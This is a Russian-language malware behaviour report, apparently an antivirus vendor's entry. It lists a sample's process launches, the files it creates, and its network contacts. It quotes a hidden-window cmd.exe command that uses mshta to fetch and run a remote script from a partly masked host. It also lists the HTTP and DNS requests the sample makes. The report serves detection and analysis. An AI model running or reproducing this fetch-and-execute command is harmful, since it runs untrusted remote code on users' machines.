Техническая информация
Вредоносные функции
Запускает на исполнение (эксплоит)
- '<SYSTEM32>\cmd.exe' /c "mshTa http://j.#p/PoenIns30ma"
- '%CommonProgramFiles%\Microsoft Shared\DW\DW20.EXE' -x -s 1540
Изменения в файловой системе
Создает следующие файлы
- %TEMP%\1151302.cvr
Сетевая активность
Подключается к
- 'j.#p':80
- 'ia#####9.us.archive.org':80
TCP
Запросы HTTP GET
- http://j.#p/PoenIns30ma
UDP
- DNS ASK j.#p
- DNS ASK ia#####9.us.archive.org
Другое
Создает и запускает на исполнение
- '<SYSTEM32>\cmd.exe' /c "mshTa http://j.#p/PoenIns30ma"' (со скрытым окном)
Запускает на исполнение
- '<SYSTEM32>\mshta.exe' http://j.#p/PoenIns30ma
